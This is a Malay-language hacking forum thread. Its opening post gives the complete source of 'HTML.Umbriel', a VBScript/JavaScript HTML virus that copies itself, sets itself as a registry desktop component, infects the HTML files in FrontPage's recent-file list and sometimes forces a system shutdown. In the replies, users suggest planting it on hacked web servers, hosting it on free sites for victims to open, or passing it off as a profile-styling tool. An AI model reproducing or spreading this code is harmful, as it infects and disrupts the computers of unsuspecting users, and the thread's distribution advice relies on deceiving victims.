Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Virus en VBS + JS + Html
14-12-2008, 01:44 AM,
Post: #1
Virus en VBS + JS + Html
Code:
<html><!--Umbriel-->
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
  shell.Run javascript:location.reload()
End If

Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)

Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
wrte.Close()

shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html"
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html"

Randomize
rand=int(rnd*5)+1
If rand=1 then
  shell.Run windir+"\windows.cmd"
End If
</script>

<script language="JavaScript">
// JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject("Scripting.FileSystemObject")
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile("C:\\umbriel.html")
for (i=0; i<500; i++)
{
  if (checkb!=1)
  {
    if (Math.round(Math.random()*5)+1 == 3)
    {
      if (check == 2)
      {
        file.WriteLine("/"+"*")
        file.WriteLine("*"+"/")
      }
      if (check == 3)
      {
        file.WriteLine("rem")
      }
    }
    code=virus.ReadLine()
    if (code == "/"+"*") { checka=666 }
    if (code == "*"+"/") { checka=666 }
    if (code == "rem") { checka=666 }
    if (checka != 666 ) { file.WriteLine(code) }
    checka=0
    if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
    if (code=="// JS") { check=2 }
    if (code=="rem VBS") { check=3 }
    if (code=="</"+unescape("%73")+"cript>") { check=0 }
  }
}
virus.Close();
file.Close();
</script>

<script language="VBScript">
rem VBS
On Error Resume Next
set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("WScript.Shell")
set myfile=fso.OpenTextFile("C:\umbriel.html")
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
if rr <> "" Then Call Umbriel(rr, mycode)

Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>"<html><!--Umbriel-->" Then
  viccode=victim.ReadAll
  victim.Close()
  set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
  wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
  wrtevic.Close
End If

End Sub
</script>
</body>
</html>

code ni blh letak dlm format html , js or VBS
Warning : Jgn cube kat com sndiri.... :emo49:
Reply
15-12-2008, 10:22 PM,
Post: #2
Re: Virus en VBS + JS + Html
nak tanya yang script ni, jika saya dapat pacah masuk website orang lain guna r57 dan paster script ni di webserver dia.

lepas di hidupkan computer dia yang kena? dan computer saya akan ada masalah ke?

sekian terima kasih~
"KelvinLoh ask XShimeX, XShimeX ask Google" Big Grin
"KelvinLoh ask Suhz, Suhz Say ...." Sad
Reply
16-12-2008, 07:25 PM,
Post: #3
Re: Virus en VBS + JS + Html
KelvinLoh Wrote:nak tanya yang script ni, jika saya dapat pacah masuk website orang lain guna r57 dan paster script ni di webserver dia.

lepas di hidupkan computer dia yang kena? dan computer saya akan ada masalah ke?

sekian terima kasih~

emmm......
scripts ni dah lama dah aku wat.....
yang aku ingat la...
klu dah letak kat webserver orang...
sesiapa yang masuk kat web tu akan kene virus ni......
tu la yg aku ingat....
:|
Reply
16-12-2008, 08:38 PM,
Post: #4
Re: Virus en VBS + JS + Html
mcm mne nk ltk dkt web svr org ?
skadar post jep ?
[Image: Video-to-GIF.gif]
Reply
17-12-2008, 07:11 PM,
Post: #5
Re: Virus en VBS + JS + Html
parkerhanafi Wrote:mcm mne nk ltk dkt web svr org ?
skadar post jep ?

em...
klu tu kene la tnya yg pkr web hackers...
aku hnya pkr hack comp jek.... Smile
Reply
17-12-2008, 08:05 PM,
Post: #6
Re: Virus en VBS + JS + Html
Tak pasti kalau Forum/Web tu ada Enable HTML work atau tak, cuma la sendiri :roll: .

Dan, Cuma create satu web dekat free hosting dan upload script ni, then suruh Victim buka Web yang ada script tu.

Tu je pendapat aku Evil .
Reply
17-12-2008, 09:02 PM,
Post: #7
Re: Virus en VBS + JS + Html
nie tuk merosak kan mespes pon bleh satu cari copy and paste dlm notepad pastu kasi kat sesaper ckp yg tu program tuk wat profile lagi cun suruh jer dier org cube...
Reply
26-12-2009, 10:51 AM,
Post: #8
Re: Virus en VBS + JS + Html
apa virus ni akan buat kaat komputer mangsa yang bukak web tu?
Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  jom buat virus FACEBOOK kenekan rakan anda 0whh 36 7,446 26-05-2012, 11:26 PM
Last Post: Taz
  virus-[Bunga_X] selipar 10 2,962 12-08-2010, 10:21 PM
Last Post: penyapulidi
  Virus promote site rylzone 21 5,251 23-07-2010, 12:44 AM
Last Post: Stynx
  virus noob.. daikogiJi 2 1,056 06-07-2010, 11:01 PM
Last Post: anthrax
  [Request] Tutorial Bro Act Virus akiraro 0 811 27-02-2010, 08:14 PM
Last Post: akiraro
  Kepada Peminat Virus..! G0riLLaZ 4 1,669 26-12-2009, 10:41 AM
Last Post: syarif20
  Virus Gile b***!! Skaziq 1 1,044 19-12-2009, 11:24 AM
Last Post: hazard74
  Super Virus... phoebekiller 23 3,748 09-09-2009, 12:39 PM
Last Post: cyberaptor
  Jom buat virus black night! criminal 9 1,842 29-08-2009, 08:08 PM
Last Post: darkkroit
  The ultimate notepad virus dmnyx 6 1,427 28-07-2009, 10:41 PM
Last Post: ghostajip

Forum Jump: